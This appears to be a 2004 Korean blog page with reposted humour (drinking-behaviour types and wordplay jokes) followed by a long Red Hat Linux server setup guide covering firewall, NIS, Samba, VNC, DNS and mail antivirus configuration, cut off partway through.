    주로 지하철 계단..화장실....시내 공원.....주차장 등에서 발견 되며....
    특이한 경우..국회의사당이나....경찰서 유치장에서 발견되는 경우도 있다.
    이 형의 특징은 아무대서나 잠은 잘지언정 언제나 웃옷과 신발은 반드시
    잘 개놓고 자는 경우가 많다.
    최악의 경우 시민 병원이나 행려병자 수용소에서 발견 되기도 한다...
     
     
    ♥⌒¸⌒ 분노의 질주형⌒¸⌒♥
     
    참 대책이 없는 형태이다....
    술에 만취하면...이유없이 뛰기 시작하며....
    흥이 날 경우에는 차도 중앙선...방파제...철길 등 스릴을 즐기기도 한다..
    이럴 경우 그 사람의 안전을 위해 동료들도 같이 뛰어야 하는 경우가 발생..
    대형 사고로 유발되는 경우가 많다...
     
    ♥⌒¸⌒ 정의의 용사형⌒¸⌒♥
     
    술만 취하면 싸우는 형.... 주로 주변 사람과 많이 싸우며....
    정의의 피가 끓어 분노가 치받치는 형태로
    싸우는 이유는 안주발 세우는 사람에 대한 분노.....
    세상에 대한 불만이 폭발해서 옆에사람 치는 경우
    등이 많으며 주변에 사람이 없어 싸움이 성립되지 않으면.....
    전봇대나 아스팔트...동네 간판을 그 대상으로 삼는다...
    이형은 특이하게도 아침에 통증을 호소하는 경우가 많다..-_-
     
     
     
    ♥⌒¸⌒ 동시 상영형⌒¸⌒♥
    이 형은 주로 필름이 끊겼다는 말로 설명 되기도 하는데..
    골치 아픈 점은 지난밤이 생각나지 않거나 꿈과 혼동되어 기억을
    재편집해야 하는 경우가 많다...
    주로 주위사람의 기억에 의존하는 경우가 많아
    평생 쓸데없는 죄책감에 시달리기도 한다.....
    평소 싫어하던 사람과 결혼하는 사람들은 이 증상을
    호소하는 경우가 많다..^^
    전문가의 의견에 의하면 알콜중독 초기 증상이라고 한다...
     
    ♥⌒¸⌒ 미소속에 비친 그대 형⌒¸⌒♥
     
    특별한 이유없이 실실 쪼개는 스타일이다...
    큰소리로 웃는 경우는 드물고 주로 입꼬리가 살짝 올라가는
    형태로 미소를 짓는다.
    주로 알콜기가 허파에 들어가서 생기는 현상이며.....
    길거리에 다닐 경우 사람들이 실실 피한다...^^;
     
    ♥⌒¸⌒ 리플레이형⌒¸⌒♥
    아......... 생각만해도 귀에서 쥐가난다--;
     
    세븐하츠 온게이트(www.ongate.co.kr/sevenhearts)

    '이것저것 > 낙서장' 카테고리의 다른 글

    [펌] 넥타이매는법..  (0) 2004.07.08
    하하... 첫페이지 너무 느려  (0) 2004.07.08
    [펌] 공감 가는 야그*^^*  (0) 2004.06.22
    월요일... ㅋㅋ  (0) 2004.06.07
    [펌] Metallica - Master of Puppets  (0) 2004.05.29
    Posted by tornado
    |

    1.비트박스를 잘하려면 두 가지만 기억하세요
    ∼북치기,박치기.

    2.씨름을 잘 하려면 두 가지만 기억하세요
    ∼잡채기,배지기.

    3.도둑질을 잘 하려면 두 가지만 기억하세요
    ∼날치기,퍽치기.

    4.신혼생활을 잘 하려면 두 가지만 기억하세요
    ∼뒷치기,벽치기.

    5.학교 생활을 잘 하려면 두 가지만 기억하세요
    ∼담치기,초치기.

    6.스킨십을 잘 하려면 두 가지만 기억하세요
    ∼덮치기,만지기.

    7.정치를 잘 하려면 두 가지만 기억하세요
    ∼우기기,차떼기.

    8.버스를 잘 타려면 두 가지만 기억하세요
    ∼밀치기,새치기.

    9.싸움을 잘 하려면 두 가지만 기억하세요
    ∼턱치기,배치기.

    10.태권도를 잘 하려면 두 가지만 기억하세요
    ∼앞차기,옆차기.

    11.ROCK을 잘 하려면 두 가지만 기억하세요
    ∼기타치기,드럼치기.

    12.연애를 잘하려면 두가지만 기억하세요
    ~밀치기,당기기.

    13.장사를 잘하려면 두가지만 기억하세요
    ~말걸기,돈받기.

    14.바람을 잘피려면 두가지만 기억하세요
    ~우기기,앵기기.

    15.돈을 아끼려면 두가지만 기억하세요
    ~배째기,묻히기.

    16.저에게 사랑받으려면 두가지만 기억하세요
    ~남기기,들르기.

     

    16번 이라도 잘기억해주세요~^^*

    '이것저것 > 낙서장' 카테고리의 다른 글

    하하... 첫페이지 너무 느려  (0) 2004.07.08
    [펌] 술 주정의 모든 것  (0) 2004.06.23
    월요일... ㅋㅋ  (0) 2004.06.07
    [펌] Metallica - Master of Puppets  (0) 2004.05.29
    [펌] Coldplay - Trouble  (0) 2004.05.24
    Posted by tornado
    |

    [펌]출처 기억안남 없음..........단지 (주)소리아이 서버란것 뿐

     

     

    ********************************************************************************* Linux 기반의 서버 설치 및 셋팅                                               *********************************************************************************    최초 설치    우선 하드의 배드섹터를 체크하고 수정한다.    iptables로 방화벽 구성    사용자 계정을 한 곳에서 관리하기 위해 NIS 설치    윈도우 클라이언트에서 쉽게 접근 가능하도록 삼바 설정    원격에서 X윈도우로 관리가 가능한 TightVNC를 설치한다. (기존의 VNC는 사용하지 않음)    콘솔에서 한글을 사용하기 위해 jfbterm 설치 (콘솔 한글이 안될 경우)    한글 man페이지 지원을 위한 less 재설치 (man 페이지가 정상적이지 않을 경우)    도메인 네임 서버 설정    타임 서비스와 시간 동기화 (네트웤 타임 동기화가 없을 경우)    메일 서버와 메일 백신 설정    메일 서버를 제외한 서버들의 백신 설정    FTP 서버 설정    Web 서버 설정    사용자 계정 관리용 스크립트 제작 사용    -- rulemaker 소스 ----------------------------------------------    -- 서비스별 포트 번호 참고 -------------------------------------    -- 마스터 smb.conf 소스 ----------------------------------------    -- 슬레이브 smb.conf 소스 --------------------------------------    -- perl 정규식 참고 --------------------------------------------    -- SoriiMilter.pl 소스 -----------------------------------------    -- userman 소스 ------------------------------------------------    -- mkgrpmail 소스 ----------------------------------------------================================================================================최초 설치--------------------------------------------------------------------------------서버의 구성  ├ns.sorii.com - DNS,NIS(S),SMB(S) / SSH,VNC  ││             도메인 네임 서버  │└home  │  └sorii [sorii:sorii/770] - 서버 관리용 공유 폴더  │  ├home.sorii.com,ftp.sorii.com - WWW,FTP,NIS(M),SMB(M) / SSH,VNC  ││                             사내 ftp와 홈페이지 공간  │└home  │  ├sorii       [sorii:sorii/777]  - 전체, 외부 사용자 공유 폴더  │  ├manage      [root:manage/770]  - 기획/관리자 그룹 전용 폴더  │  │└사용자    [이름:manage/750]  │  ├develop     [root:develop/770] - 개발자 그룹 전용 폴더  │  │└사용자    [이름:develop/750]  │  ├design      [root:design/770]  - 디자이너 그룹 전용 폴더  │  │└사용자    [이름:design/750]  │  └public_html [root:sorii/771]   - 개인 홈페이지 전용 폴더  │  ├mail.sorii.com - MAIL,NIS(C),SMB(S) / SSH,VNC  ││               메일 서버  │└home  │  └sorii [sorii:sorii/770] - 서버 관리용 공유 폴더  │  ├wireless.sorii.com - DHCP / Web  │                     무선 인터넷 테스트용 공유기  │  └lan.sorii.com - DHCP / SSH                    내부 네트웤 구성용 인터넷 공유기서버 선택자동 파티션 구성네트웤 설정, 방화벽 없음추가적으로 다음 파티션을 따로 구성하여 루트가 꽉차는 것을 방지한다.    /boot - 부팅 시스템들. : 첫번째 파티션! 50~100MB    /var  - 시스템 로그 파티션 : 400MB~1GB    /     - 시스템 루트 : 3GB~6GB    /home - 사용자 공간 : 채움 또는 /에 포함관리용 독립된 계정 하나 추가    id  : soriiSSH로 접속하여 관리할 때 sorii계정으로 먼저 접속한 후 다음 명령으로 root에 들어간다    # su -아래에 나열된 내용중의 버전 번호는 시스템 상태에 따라 다를 수 있다.================================================================================우선 하드의 배드섹터를 체크하고 수정한다.--------------------------------------------------------------------------------복구용 RIP 리눅스를 준비한다.CD나 플로피를 넣고 부팅한다.배드블록을 체크하고 발견하면 수정하기    # e2fsck -cy /dev/hda1    # e2fsck -cy /dev/hda2 ...완료 후엔 재부팅    # reboot정상 시스템에서 부팅시 재검사를 요구한다면 다시 검사해 준다.================================================================================iptables로 방화벽 구성--------------------------------------------------------------------------------이전의 방화벽 설정을 확인    # iptables -L방화벽 룰 생성 스크립트 작성    # vi /usr/bin/rulemaker-첨부된 rulemaker 소스 참고-------------------------------------    # chmod 700 /usr/bin/rulemaker방화벽 룰 생성용 자료 파일 작성    # vi ipdata-다음 중 적당한 내용을 골라서 추가------------------------------
    d:tcp:20d:tcp:21d:tcp:25d:tcp:53d:udp:53s:tcp:53s:udp:53d:tcp:80d:tcp:110d:tcp:143d:tcp:220d:tcp:465d:tcp:993d:tcp:995.218.235.99.62218.235.99.63218.235.99.64218.235.99.65218.235.99.66218.235.99.67218.235.99.68218.235.99.69218.235.99.70218.235.99.71218.235.99.72218.235.99.73218.235.99.74218.235.99.76.# 데이타 중간엔 주석이 들어가선 안된다.# 여기서부터는 주석포트를 열때는 가능한 적게 열어 외부 서비스를 구성하고신뢰하는 IP를 적당히 열어서 내부 서비스를 구성한다.포트를 여는 형식은 '<s|d>:[tcp|udp]:[포트]'제일 앞의 s는 소스 포트를 허용할 때 d는 현재 호스트의 목적 포트를 허용할 때's:udp:53'은 반드시 있어야 dns 응답을 받을 수 있다.ftp-data    20/tcpftp         21/tcpssh         22/tcp                      # SSH Remote Login Protocoltelnet      23/tcpsmtp        25/tcp      mailtime        37/tcp      timservernameserver  42/tcp      name            # IEN 116domain      53/tcp                      # name-domain serverdomain      53/udp                      # name-domain serverhttp        80/tcp      www www-http    # WorldWideWeb HTTPpop3        110/tcp     pop-3           # POP version 3imap        143/tcp     imap2           # Interim Mail Access Proto v2imap3       220/tcp                     # Interactive Mail Accesssmtps       465/tcp                     # SMTP over SSL (TLS)imaps       993/tcp                     # IMAP over SSLpop3s       995/tcp                     # POP-3 over SSL
    ----------------------------------------------------------------방화벽 설정용 스크립트 생성    # rulemaker -i ipdata -o /etc/sysconfig/ipfilter    # chmod 700 /etc/sysconfig/ipfilter실행 및 확인    # /etc/sysconfig/ipfilter    # iptables -L재부팅시 자동으로 실행되게 추가    # vi /etc/rc.local-다음을 마지막에 추가-------------------------------------------
    /etc/sysconfig/ipfilter
    ----------------------------------------------------------------브로드캐스팅 핑 막기    # echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts    재부팅 해도 막도록 rc.local에 추가    # vi /etc/rc.local-다음을 마지막에 추가-------------------------------------------
    echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
    ----------------------------------------------------------------DNS버전 정보 감추기    # vi /etc/named.conf-다음을 확인 및 수정--------------------------------------------
    options {    version "unknown";  //버전 정보 감추기    directory "/var/named";};
    -----------------------------------------------------------------첨부된 서비스별 포트 번호 참고---------------------------------================================================================================사용자 계정을 한 곳에서 관리하기 위해 NIS 설치--------------------------------------------------------------------------------NIS는 다음과 같이 설치된다.    도메인 이름   : sorii-lan    마스터 서버   : home.sorii.com    슬래이브 서버 : ns.sorii.com    클라이언트    : 218.235.99.*이후의 작업에 영향을 주도록 도메인 설정    # domainname sorii-lan[ 마스터, 슬레이브, 클라이언트 공통 ]NIS도메인 추가    # vi /etc/sysconfig/network-다음을 마지막에 추가-------------------------------------------
    NISDOMAIN=sorii-lan
    ----------------------------------------------------------------호스트 바로가기 추가    # vi /etc/hosts-다음을 마지막에 추가-------------------------------------------
    218.235.99.62 ns.sorii.com ns218.235.99.63 home.sorii.com home
    ----------------------------------------------------------------NIS를 통한 서비스 가능성 추가    # vi /etc/nsswitch.conf    가능한 모든 항목 뒤에 'nis'를 추가    모든 서버가 동일한 항목에 대해 nis 설정NIS 사용자 처리가 가능하도록 추가    # vi /etc/passwd-다음을 마지막에 추가-------------------------------------------
    +::::::
    ----------------------------------------------------------------재부팅 때마다 실행되도록 서비스 등록    서비스 리스트 목록을 검사한 후    # chkconfig --list | grep ypbind    목록에 없으면 추가한다.    # chkconfig --add ypbind    서비스를 활성 시킨다.    # chkconfig ypbind on[ 마스터, 슬레이브 공통 ]허가권 설정    # vi /var/yp/securents-다음을 작성----------------------------------------------------
    # allow connections from local host -- necessaryhost 127.0.0.1# same as 255.255.255.255 127.0.0.1## allow connections from any host# on the 218.235.99.0 network255.255.255.0   218.235.99.0
    ----------------------------------------------------------------    # vi /etc/ypserv.conf-다음의 내용을--------------------------------------------------
    # *     : * : *             : none
    -아래처럼 바꾼다------------------------------------------------
    *       : * : *             : none
    ----------------------------------------------------------------[ 마스터 서버 ]슬레이브 서버 목록 파일을 만든다    # vi /var/yp/ypservers-다음을 작성----------------------------------------------------
    ns.sorii.com
    ----------------------------------------------------------------맵DB를 생성    # /usr/lib/yp/ypinit -m    이후에 슬레이브로 사용될 서버들의 host이름까지 추가한 후 Ctrl+D를 눌러 db생성마스터가 갱신될 때 슬레이브 서버도 같이 갱신시키기 원하면 NOPUSH옵션을 해제한다.    # vi /var/yp/Makefile-다음의 내용을--------------------------------------------------
    NOPUSH=true
    -아래처럼 바꾼다------------------------------------------------
    NOPUSH=false
    ----------------------------------------------------------------매우 느릴 수 있으므로 NOPUSH옵션은 켜두는 것이 좋다.대신 마스터가 make하면 슬레이브쪽에서도 make하는 것이 좋다이후부터 맵DB를 갱신하기 위해서는    # cd /var/yp/    # make[ 슬레이브 서버 ]마스터 서버를 확인    # ypwhich -m맵DB를 동기화    # /usr/lib/yp/ypinit -s home이후부터 맵DB를 갱신하기 위해서는    # cd /var/yp/    # make[ 마스터 슬레이브 공통 ]재부팅 때마다 실행되도록 서비스 등록    서비스 리스트 목록을 검사한 후    # chkconfig --list | grep yp    목록에 없으면 추가한다.    # chkconfig --add ypserv    # chkconfig --add yppasswdd    # chkconfig --add ypxfrd    서비스를 활성 시킨다.    # chkconfig ypserv on    # chkconfig yppasswdd on    # chkconfig ypxfrd on서버가 실행 중인지 확인    # rpcinfo -u localhost ypserv[ 마스터, 슬레이브, 클라이언트 공통 ]클라이언트가 실행 중인지 확인    # rpcinfo -u localhost ypbind================================================================================윈도우 클라이언트에서 쉽게 접근 가능하도록 삼바 설정--------------------------------------------------------------------------------SMB는 다음과 같이 설치된다.    워크그룹 이름 : sorii-lan    마스터 서버   : home.sorii.com    슬레이브 서버 : *.sorii.com마스터 서버에서만 계정을 추가 삭제하고 WINS와 도메인 서버로 구성하여슬레이브 서버는 마스터의 로그인 정보를 사용하도록 한다.삼바 설정 파일 수정    # vi /etc/samba/smb.conf-마스터 서버는 첨부된 마스터 smb.conf를 참고---------------------슬레이브 서버는 첨부된 슬레이브 smb.conf를 참고----------------    슬레이브 서버는 'server string = '항목에 적당한 서버이름을 넣는다    공유될 폴더에 관한 설정을 수정하려면 '== Share Definitions =='아래의 항목을 수정한다실행 및 확인    # /etc/init.d/smb start    윈도우 클라이언트의 탐색기에서 '\\xxx.xxx.xxx.xxx'나 '\\x.sorii.com'으로 접속해본다재부팅 때마다 실행되도록 서비스 등록    서비스 리스트 목록을 검사한 후    # chkconfig --list | grep smb    목록에 없으면 추가한다.    # chkconfig --add smb    서비스를 활성 시킨다.    # chkconfig smb on================================================================================원격에서 X윈도우로 관리가 가능한 TightVNC를 설치한다. (기존의 VNC는 사용하지 않음)--------------------------------------------------------------------------------TightVNC 서버 버전 다운 받기    http://www.tightvnc.com/download.html서버 rpm 설치    # rpm -Uvh tightvnc-server-1.2.9-1.i386.rpm패스워드 생성    # vncpasswd    암호 두번 입력 후 읽기 전용 암호도 설정기본 수행 설정 파일 편집    # vi /etc/sysconfig/vncservers-다음을 마지막에 추가-------------------------------------------
    VNCSERVERS="10:root"
    ----------------------------------------------------------------VNC서버를 실행    # /etc/init.d/vncserver start환경변수 문제로 데몬 서비스로 시작하지 못하는 경우가 많으므로터미널로 로그인 후 수동으로 시작하여야 한다.윈도우용 클라이언트를 다운로드 받아서 'Fast Compression'으로 접속한다윈도우에서 TightVNC로 접속할 때에는    host.domain:10을 사용해서 접속VNC를 통해 시스템 관리가 가능함한번 로그인 되면 Xvnc가 계속 떠있으므로 로그아웃하지 않으면 세션은 그냥 보존된다.따라서 접속을 끊기 전에 '화면 잠금'을 하는 것이 안전하다.================================================================================콘솔에서 한글을 사용하기 위해 jfbterm 설치 (콘솔 한글이 안될 경우)--------------------------------------------------------------------------------한글 패치된 jfbterm 다운 받기    http://download.kldp.net/kslack/jfbterm-0.3.12-han-2.tar.gz압축 해제후 설치    # tar xzvf jfbterm-0.3.12-han-2.tar.gz    # cd jfbterm-0.3.12-han-2/    # ./configure     # make     # make install     # cat termcap.jfbterm >> /etc/termcap     # tic terminfo.jfbterm설치 확인    jfbterm.conf에서 term 과 encoding 부분을 다음과 같은 확인 및 변경    # cd /usr/local/etc    # vi jfbterm.conf-다음을 확인 및 수정--------------------------------------------
    term : jfbtermencoding : G0,G1,iso646-1973irv,ksc5601-1987,,
    ----------------------------------------------------------------    혹시 무슨무슨 폰트가 없다고 나오면,    jfbterm.conf에서 fontset을 주석 처리 혹은 적절한 fontset을 설정.실행    # jfbterm로긴 때마다 자동실행    # vi /etc/profile-다음을 마지막에 추가-------------------------------------------
    tty_tmp=`tty | sed -e "s/\/dev\/\([ty]*\).*/\1/"` if [ "$tty_tmp" = "tty" ]; then     exec jfbterm fi
    ----------------------------------------------------------------================================================================================한글 man페이지 지원을 위한 less 재설치 (man 페이지가 정상적이지 않을 경우)--------------------------------------------------------------------------------한글 패치된 less 소스 받기    http://people.redhat.com/djoo/Koreanizing/less-378-8KR.src.rpm소스를 컴파일 하여 rpm 생성후 설치    # rpmbuild --rebuild less-378-8KR.src.rpm    # rpm -Uvh /usr/src/redhat/RPMS/i386/less-378-8KR.i386.rpm    rpmbuild가 없을 경우 rpm-build 패키지를 설치한다================================================================================도메인 네임 서버 설정--------------------------------------------------------------------------------로컬의 DNS을 변경할 때는 다음 파일을 편집    # vi /etc/resolv.conf-내용-----------------------------------------------------------
    search sorii.comnameserver 218.235.99.62nameserver 210.220.163.82nameserver 168.126.63.1
    ----------------------------------------------------------------zone을 등록하기 위해 설정 편집    # vi /etc/named.conf-내용-----------------------------------------------------------
    // dnscontrols {    inet 127.0.0.1 allow { localhost; } keys { rndckey; };};include "/etc/named.custom";include "/etc/rndc.key";zone "0.0.127.in-addr.arpa" {    type master;    file "0.0.127.in-addr.arpa";};zone "99.235.218.in-addr.arpa" {    type master;    file "99.235.218.in-addr.arpa";};zone "localhost" {    type master;    file "localhost.zone";};zone "sorii.com" {    type master;    file "sorii.com.zone";};zone "burumaru.com" {    type master;    file "sorii.com.zone";};zone "tinywolf.com" {    type master;    file "tinywolf.com.zone";};
    ----------------------------------------------------------------    # vi /etc/named.custom-내용-----------------------------------------------------------
    // localzone "." {    type hint;    file  "named.ca";};options {    directory "/var/named/";};
    ----------------------------------------------------------------각 존 파일을 추가    # vi /var/named/99.235.218.in-addr.arpa-내용-----------------------------------------------------------
    ; 218.235.99.0 / 255.255.255.0$TTL 86400@   IN  SOA ns.sorii.com.   root.sorii.com (            15  ; serial            28800   ; refresh            7200    ; retry            604800  ; expire            86400   ; ttk            )    IN  NS  ns.sorii.com.62  IN  PTR ns.sorii.com.63  IN  PTR home.sorii.com.68  IN  PTR ns.tinywolf.com.75  IN  PTR wireless.sorii.com.76  IN  PTR lan.sorii.com.
    ----------------------------------------------------------------    # vi /var/named/sorii.com.zone-내용-----------------------------------------------------------
    ; sorii.com$TTL 86400@   IN  SOA ns.sorii.com.   root.sorii.com (            5   ; serial            28800   ; refresh            7200    ; retry            604800  ; expire            86400   ; ttl            )    IN  A   211.233.5.48    IN  NS  ns.sorii.com.    IN  MX  10  mailns          IN  A   218.235.99.62home        IN  A   218.235.99.63mail        IN  A   218.235.99.64wireless    IN  A   218.235.99.75lan         IN  A   218.235.99.76www IN  CNAME   @ftp IN  CNAME   home*   IN  CNAME   home
    ----------------------------------------------------------------    # vi /var/named/tinywolf.com.zone-내용-----------------------------------------------------------
    ; tinywolf.com$TTL 86400@   IN  SOA ns.sorii.com.  root.tinywolf.com (            2   ; serial            28800   ; refresh            7200    ; retry            604800  ; expire            86400   ; ttl            )    IN  A   218.235.99.68    IN  NS  ns.tinywolf.com.    IN  MX  10  mail.sorii.com.ns      IN  A   218.235.99.68home    IN  A   218.235.99.68www     IN  CNAME   homeftp     IN  CNAME   homemail    IN  CNAME   mail.sorii.com.
    ----------------------------------------------------------------DNS 서버에 관계된 파일의 위치    /etc/rndc.conf    /etc/rndc.key    /etc/named.conf    /etc/resolv.conf    /var/named/*서비스 시작    # /etc/init.d/named start재부팅 때마다 실행되도록 서비스 등록    서비스 리스트 목록을 검사한 후    # chkconfig --list | grep named    목록에 없으면 추가한다.    # chkconfig --add named    서비스를 활성 시킨다.    # chkconfig named on================================================================================타임 서비스와 시간 동기화 (네트웤 타임 동기화가 없을 경우)--------------------------------------------------------------------------------시간을 동기화 시키는 스크립트 작성    # vi /etc/init.d/nettime-내용-----------------------------------------------------------
    #!/bin/bash# primary와 secondary 타임서버를 설정time_server1="time.kriss.re.kr"time_server2="time.nuri.net"# 비교할 시간(10분 오차로 비교)과 되돌릴 시간 지정old_time=`date --date '10 minutes ago' +%Y%m%d%H%M%S`old_time_for_undo=`date '+%Y-%m-%d %H:%M:%S'`# primary에 시간을 맞춤echo -n "시간 동기화 : $time_server1"ntpdate $time_server1 > /dev/null 2>&1server_fail=$?new_time=`date +%Y%m%d%H%M%S`if [ $server_fail != 0 ] || [ $new_time -lt $old_time ]; then    echo -e "\t[실패]\t$new_time"    # secondary에 시간을 맞춤    echo -n "시간 동기화 : $time_server2"    ntpdate $time_server2 > /dev/null 2>&1    server_fail=$?    new_time=`date +%Y%m%d%H%M%S`    if [ $server_fail != 0 ] || [ $new_time -lt $old_time ]; then        echo -e "\t[실패]\t$new_time"        # 둘 다 실패시 이전 시간으로 돌림        echo "이전 시간으로 돌림"        date -s "$old_time_for_undo" > /dev/null    else        echo -e "\t[성공]"    fielse    echo -e "\t[성공]"fiecho -n "시스템 현재 시간 : "date
    ----------------------------------------------------------------정기적으로 타임서버와 서버의 시간을 동기화 시킨다.    # crontab -e-다음을 마지막에 추가-------------------------------------------
    # 매달 1일 3시 : 타임서버와 시간 동기화00 03 01      *  *      echo "매달 1일 3시: 타임서버와 시간 동기화" > /dev/tty200 03 01      *  *      /etc/init.d/nettime
    ----------------------------------------------------------------================================================================================메일 서버와 메일 백신 설정--------------------------------------------------------------------------------재부팅 때마다 실행되도록 서비스 등록    서비스 리스트 목록을 검사한 후    # chkconfig --list | grep sendmail    # chkconfig --list | grep ipop3    # chkconfig --list | grep pop3s    # chkconfig --list | grep imap    # chkconfig --list | grep imaps    목록에 없으면 추가한다.    # chkconfig --add sendmail    # chkconfig --add ipop3    # chkconfig --add pop3s    # chkconfig --add imap    # chkconfig --add imaps    서비스를 활성 시킨다.    # chkconfig sendmail on    # chkconfig ipop3 on    # chkconfig pop3s on    # chkconfig imap on    # chkconfig imaps on메일을 받을 수 있는 호스트 설정    # vi /etc/mail/local-host-names-다음을 마지막에 추가-------------------------------------------
    sorii.commail.sorii.comburumaru.commail.burumaru.comtinywolf.commail.tinywolf.com
    ----------------------------------------------------------------별칭을 추가 및 관리    # vi /etc/aliases-다음을 마지막에 추가-------------------------------------------
    # Person who should get root's mailroot:           mkkim,tinywolfhome:           mkkim# Aliasesceo:            kimjwsorii:          kimjw,thubanskwebmaster:      thubansk
    ----------------------------------------------------------------    # newaliases인증기능 활성시킬려면 다음의 파일을 편집    # vi /etc/mail/sendmail.mc-다음의 내용을--------------------------------------------------
    dnl TRUST_AUTH_MECH(`EXTERNAL DIGEST-MD5 CRAM-MD5 LOGIN PLAIN')dnldnl define(`confAUTH_MECHANISMS', `EXTERNAL GSSAPI DIGEST-MD5 CRAM-MD5 LOGIN PLAIN')dnlDAEMON_OPTIONS(`Port=smtp,Addr=127.0.0.1, Name=MTA')dnl
    -아래처럼 바꾼다------------------------------------------------
    TRUST_AUTH_MECH(`EXTERNAL DIGEST-MD5 CRAM-MD5 LOGIN PLAIN')dnldefine(`confAUTH_MECHANISMS', `EXTERNAL GSSAPI DIGEST-MD5 CRAM-MD5 LOGIN PLAIN')dnlDAEMON_OPTIONS(`Port=smtp,Addr=0.0.0.0, Name=MTA')dnl
    ----------------------------------------------------------------    # m4 /etc/mail/sendmail.mc > /etc/mail/sendmail.cf메일 서버를 재시작한다.    # /etc/init.d/sendmail restart필터링을 가능케 하기 위해 sendmail-devel패키지와 소스를 설치설치CD : RedHat9 cd3 RPMS    sendmail-devel-8.12.8-4.i386.rpm다운받는 곳 : http://rpmfind.net/에서 sendmail로 검색 후 RedHat9용 최신 버전을 찾는다.    sendmail-8.12.8-9.90.src.rpm    sendmail-8.12.8-9.90.i386.rpm    sendmail-cf-8.12.8-9.90.i386.rpm    sendmail-devel-8.12.8-9.90.i386.rpmroot로 소유권 변경후 설치    # rpm -qa | grep sendmail    버전을 검사한 후 서로 버전 다를 경우 전부 설치한다    같은 버전일 경우 없는 것과 소스만 설치한다    # rpm -Uvh sendmail-8.12.8-9.90.i386.rpm    # rpm -Uvh sendmail-cf-8.12.8-9.90.i386.rpm    # rpm -Uvh sendmail-devel-8.12.8-9.90.i386.rpm    # rpm -Uvh sendmail-8.12.8-9.90.src.rpm소스 컴파일    # cd /usr/src/redhat/SPECS/    # rpmbuild -bc sendmail.spec    rpmbuild가 없을 경우 rpm-build 패키지를 설치한다    컴파일시 요구되는 패키지가 있으면 전부 설치한다    설치된 rpm안의 내용물이 어떤 것인지 보려면 'rpm -ql <패키지 이름>'을 이용한다메일로 퍼지는 바이러스를 막기 위해 AntiVir 백신 설치다운받는 곳 : http://www.hbedv.com/에서 'AntiVir Milter for Sendmail Linux'를 다운받는다    avlxmlt.tgz설치    # tar xzvf avlxmlt.tgz    # cd antivir-milter-1.0.6    # mkdir /usr/lib/AntiVir    # cp bin/avmilter /usr/sbin    # cp script/avq /usr/lib/AntiVir    # ln -s /usr/lib/AntiVir/avq /usr/sbin/avq    # cp bin/antivir /usr/lib/AntiVir    # ln -s /usr/lib/AntiVir/antivir /usr/sbin/antivir    # cp vdf/antivir.vdf /usr/lib/AntiVir    # cp etc/avmilter.conf /etc    # cp etc/antivir.conf /etc    # cp init/rc.avmilter /etc/init.d/avmilter    # chkconfig --add avmilter라이센스키를 http://www.hbedv.com/private/에서 메일로 발급 받아서 복사해 넣는다.    hdedv.key    lic_info.txt복사    # cp hbedv.key lic_info.txt /usr/lib/AntiVir    # cp hbedv.key /usr/lib/AntiVir/avmgate.key    # chown uucp:uucp /usr/lib/AntiVir/avmgate.key백신 필터용 스풀 디렉토리를 생성한다    # mkdir /var/spool/avmilter    # cd /var/spool/avmilter    # mkdir incoming outgoing rejected    # chown -R uucp:uucp /var/spool/avmilter    # chmod -R 700 /var/spool/avmilter인증기능 활성시킬려면 다음의 파일을 편집    # vi /etc/mail/sendmail.mc-다음을 마지막에 추가-------------------------------------------
    INPUT_MAIL_FILTER(`avmilter',`S=inet:3333@localhost,F=T,T=S:10m;R:10m;E:5m')dnl
    ----------------------------------------------------------------    # m4 /etc/mail/sendmail.mc > /etc/mail/sendmail.cf백신 서비스를 시작한다.    # /etc/init.d/avmilter start메일 서버를 재시작한다.    # /etc/init.d/sendmail restart백신 동작을 확인    # netstat -atnp | grep avmilter백신이 정기적으로 업데이트되고 실행될 수 있도록 cron을 추가    # crontab -e-다음을 마지막에 추가-------------------------------------------
    # 매일 5시 : /home 바이러스 검사00 05  *      *  *      echo "[cron] daily    AM 05h : /home virus check" > /dev/tty200 05  *      *  *      /usr/lib/AntiVir/antivir --allfiles -s -nolnk /home# 매 홀수날 2시 : 바이러스 패턴 업데이트00 02 1-31/2  *  *      echo "[cron] odd days AM 02h : update virus pattern" > /dev/tty200 02 1-31/2  *  *      /usr/lib/AntiVir/antivir --update# 매주 일요일 4시 : 감염되어 거부된 메일 삭제00 04  *      * sun     echo "[cron] sunday   AM 04h : delete rejected mails" > /dev/tty200 04  *      * sun     rm -f /var/spool/avmilter/rejected/*
    ----------------------------------------------------------------백신이 바이러스를 발견할 경우 보낸 사람과 받는 사람 모두에게 경고를 보냄    # vi /etc/avmilter.conf-다음의 내용을--------------------------------------------------
    # VirusAlertToRcpt                 NO# VirusAlertToSender               NO
    -아래처럼 바꾼다------------------------------------------------
    VirusAlertToRcpt                 YESVirusAlertToSender               YES
    ----------------------------------------------------------------백신이 보내는 경고 메일을 한글로 보내도록 템플릿 수정    # mkdir /usr/lib/AntiVir/templates	# cd /usr/lib/AntiVir/templates	# vi patho-administrator-내용-----------------------------------------------------------
    Subject: 수상한 메일 경고! [발신자: SENDER]* * * * * * * * * * * * * * * 수상한 메일 경고 * * * * * * * * * * * * * * *LICENSE발신자   : SENDER발신제목 : "SUBJECT"AntiVir has detected a suspicious mail sent through your server which was not scanned because:AntiVir가 당신의 서버로 보내진 메일에서 아래와 같이 의심되는 수상한 점을 발견함:        REASONThe mail was not delivered.해당 메일은 전송되지 않았습니다.It has been quarantined with the following queue id:아래의 큐이름으로 격리 보관됨:        QUEUEID
    ----------------------------------------------------------------    # vi patho-recipient-내용-----------------------------------------------------------
    Subject: 수상한 메일 경고! [발신자: SENDER]* * * * * * * * * * * * * * * 수상한 메일 경고 * * * * * * * * * * * * * * *발신자   : SENDER발신제목 : "SUBJECT"AntiVir has detected a suspicious mail addressed to you, which was not scanned because:AntiVir가 당신에게로 보내진 메일에서 아래와 같이 의심되는 수상한 점을 발견함:        REASONThe mail was not delivered.해당 메일은 전송되지 않았습니다.
    ----------------------------------------------------------------    # vi patho-sender-내용-----------------------------------------------------------
    Subject: 수상한 메일 경고! [발신제목: "SUBJECT"]* * * * * * * * * * * * * * * 수상한 메일 경고 * * * * * * * * * * * * * * *발신자   : SENDER발신제목 : "SUBJECT"AntiVir has detected a suspicous mail from your address, which was not scanned because:AntiVir가 당신의 주소에서 보내져온 메일에서 아래와 같이 의심되는 수상한 점을 발견함:        REASONThe mail was not delivered.해당 메일은 전송되지 않았습니다.다음과 같은 조치를 권해드립니다.        ADVICE
    ----------------------------------------------------------------    # vi virus-administrator-내용-----------------------------------------------------------
